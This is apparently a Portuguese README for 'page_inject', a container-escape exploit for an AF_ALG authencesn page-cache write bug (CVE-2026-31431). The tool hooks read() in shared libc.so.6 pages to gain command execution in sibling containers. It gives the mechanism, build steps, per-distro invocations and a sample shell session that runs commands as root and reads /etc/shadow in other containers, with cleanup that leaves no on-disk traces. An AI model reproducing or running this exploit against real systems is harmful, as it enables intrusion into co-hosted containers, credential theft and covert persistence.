
CVE-2026-31431-killed page-cache exploit — execução de código em containers que compartilham a mesma camada de imagem
Exploit AF_ALG aead de escape entre contêineres -- pivot de um contêiner comprometido para todos os contêineres irmãos que compartilham a mesma camada de imagem libc.so.6.
Esta é uma primitiva de escape: executa de dentro de um contêiner sem privilégios que o atacante já comprometeu, e usa o bug de escrita arbitrária de 4 bytes por rotação ESN authencesn do AF_ALG (CVE-2026-31431) para plantar um hook persistente de read() nas páginas do page-cache de libc.so.6. Como o Docker / containerd fazem o backing das camadas inferiores do overlayfs com inodes compartilhados, essas páginas são visíveis para todos os contêineres irmãos instanciados a partir da mesma imagem -- o hook dispara também nos processos deles, e o atacante obtém execução de comandos dentro de cada um.
victim)
em um host que executa outros contêineres (siblings) a partir da mesma
imagem que victim.victim executa com a postura padrão do Docker/k8s: uid sem privilégios
dentro do user namespace do contêiner, perfil seccomp padrão,
perfil AppArmor padrão, sem capabilities especiais, sem bind mounts do host.victim tem apenas:
/usr/lib/x86_64-linux-gnu/libc.so.6
ou onde a distro a instala)socket(AF_ALG, ...)splice / vmsplicechmod +x (ex.: /tmp)algif_aead + authencesn anterior ao fix de revert upstream).Isto é tudo. Sem CAP_* especial, sem acesso ao filesystem do host.
O atacante deposita um binário estático autocontido dentro do
contêiner, o executa, e a corrupção do page-cache -- e,
portanto, o hook -- torna-se visível para todos os irmãos.
Identidade da página do page-cache. Dentro de um contêiner overlayfs,
/usr/lib/.../libc.so.6 é servido pelo inode ext4 da camada inferior da
imagem. Todo contêiner iniciado a partir da mesma imagem compartilha
esse inode de backing, e o page-cache do kernel é indexado pelo
inode subjacente -- não pelo overlay nem pelo namespace. Portanto, uma
única escrita de 4 bytes em uma página do page-cache é visível para todos
os processos dos contêineres irmãos que têm essa página mmap'd.
A vuln AF_ALG aead transforma uma dessas escritas em muitas. algif_aead
encadeia o iovec RX do usuário com os bytes authsize finais do
SGL TX com splice, e a rotação ESN de authencesn estaciona 4 bytes
do campo seq_high do AAD em dst[assoclen + cryptlen] -- que
é o primeiro byte dessa cauda externa encadeada. A página com splice
é uma página do page-cache de um arquivo ao qual o atacante tem apenas
acesso de leitura, mas o cipher copia bytes para ela mesmo assim, sem
bookkeeping de dirty. (Veja crypto/algif_aead.c e crypto/authencesn.c
para a mecânica subjacente.)
Bootstrapping de uma primitiva chamável. A primeira coisa que
page_inject faz é fazer o bootstrap da Zona A -- uma
re-implementação codificada em asm da mesma dança AF_ALG (write_cache.asm),
colocada na cave .text da libc. Isso torna a escrita de 4 bytes um
call regular a partir de qualquer payload de hook futuro, sem necessidade
de setup de socket a cada chamada.
Instalação do hook. O injetor então escreve a Zona C
(zone_c.asm) na cave .text da libc e patcha os primeiros
7-12 bytes de read() com um salto E9 disp32 para ela. Os
bytes deslocados do prólogo são emulados fielmente no fast-path da Zona C
(três prólogos glibc distintos são reconhecidos --
veja "Tratamento do prólogo de read()" abaixo). O hook agora está vivo no
page-cache da libc.
Propagação do hook. Todo contêiner irmão executa processos que
chamam read() constantemente (daemons de log, healthchecks, cat /etc/hostname, qualquer coisa). Na primeira dessas chamadas dentro de um
contêiner irmão, o prólogo sequestrado salta para a Zona C, que:
stat("/") do inode raiz do contêiner (um ID por namespace
estável), usando-o como chave de slot do contêiner,fork() de um filho de longa
duração command-loop que faz polling da área CMD por ordens,read()+N para que o chamador não perceba nada.
O processo irmão original continua executando. A partir de agora o
atacante tem um daemon dentro desse contêiner.Canal de comando. O atacante usa o mesmo binário page_inject
no modo --shell para escrever comandos na área CMD da região de slots.
Cada filho hook registrado de cada contêiner irmão faz polling,
faz fork de /bin/sh -c <cmd>, captura stdout/stderr na área OUTPUT,
sinaliza a conclusão e volta ao polling. O shell mostra a saída. Como toda
escrita CMD/OUTPUT também passa pela primitiva da vuln, nenhum privilégio
especial é necessário.
Remoção do hook. Quando terminar, unhook restaura os bytes
originais do prólogo de read() e zera a tabela de slots; os filhos hook
veem um slot vazio na próxima iteração e se autoterminam. As
modificações do page-cache em si são limpas (o kernel nunca marcou
as páginas modificadas como dirty), então, uma vez que todo contêiner
que tem a libc mmap'd seja parado, um drop_caches reverte o cache
completamente -- nenhum artefato em disco permanece.
O injetor é compilado fora do contêiner vítima -- tipicamente
na própria máquina de desenvolvimento do atacante -- porque a maioria das
imagens de contêiner de produção não inclui um compilador. Um ambiente de
desenvolvimento Linux x86_64 padrão com gcc (com suporte a link
-static) e nasm é suficiente.
make # assembles .asm sources via gen_arrays.sh, links static page_inject
make shellcode # also produces inspectable .bin flat binaries
make clean # removes generated files and the binary
O resultado é um único ELF estaticamente linkado (./page_inject) que
executa em qualquer kernel Linux x86_64 moderno.
Uma vez que o atacante tem shell em victim, ele envia o binário para um
diretório gravável (tipicamente /tmp):
# inside the compromised container, attacker session
victim$ ./page_inject
Sem argumentos, page_inject usa como padrão
/usr/lib/x86_64-linux-gnu/libc.so.6 (o local pós-merge do Debian/Ubuntu).
Para outras distros a libc está em um caminho diferente; ou passe-o
explicitamente ou use --root / para escanear a tabela de lookup
embutida a partir da raiz do contêiner:
# Fedora / Rocky / CentOS
victim$ ./page_inject /usr/lib64/libc.so.6
# Arch
victim$ ./page_inject /usr/lib/libc.so.6
# Auto-detect, regardless of distro:
victim$ ./page_inject --root /
Qualquer uma das invocações faz a mesma coisa: faz parse de ELF da libc
dentro do contêiner, instala o hook no page-cache dela, monitora a tabela
de slots por ~30 s enquanto os irmãos se registram, e executa um id
one-shot contra o primeiro irmão que se registrou como verificação de sanidade.
Após o bootstrap, entre no shell de comando para dirigir qualquer irmão registrado:
victim$ ./page_inject --shell --no-bootstrap
=== page-cache shell ===
Containers (3):
[0] 0x0018598d <- target
[1] 0x001859ab
[2] 0x001859cd
inject:0018598d> exec id
uid=0(root) gid=0(root) groups=0(root)
inject:0018598d> target 0x001859ab
inject:001859ab> exec hostname
1ccd66abee9d
inject:001859ab> exec cat /etc/shadow
root:$6$.....
inject:001859ab> unhook
... read() prologue restored, slot table zeroed ...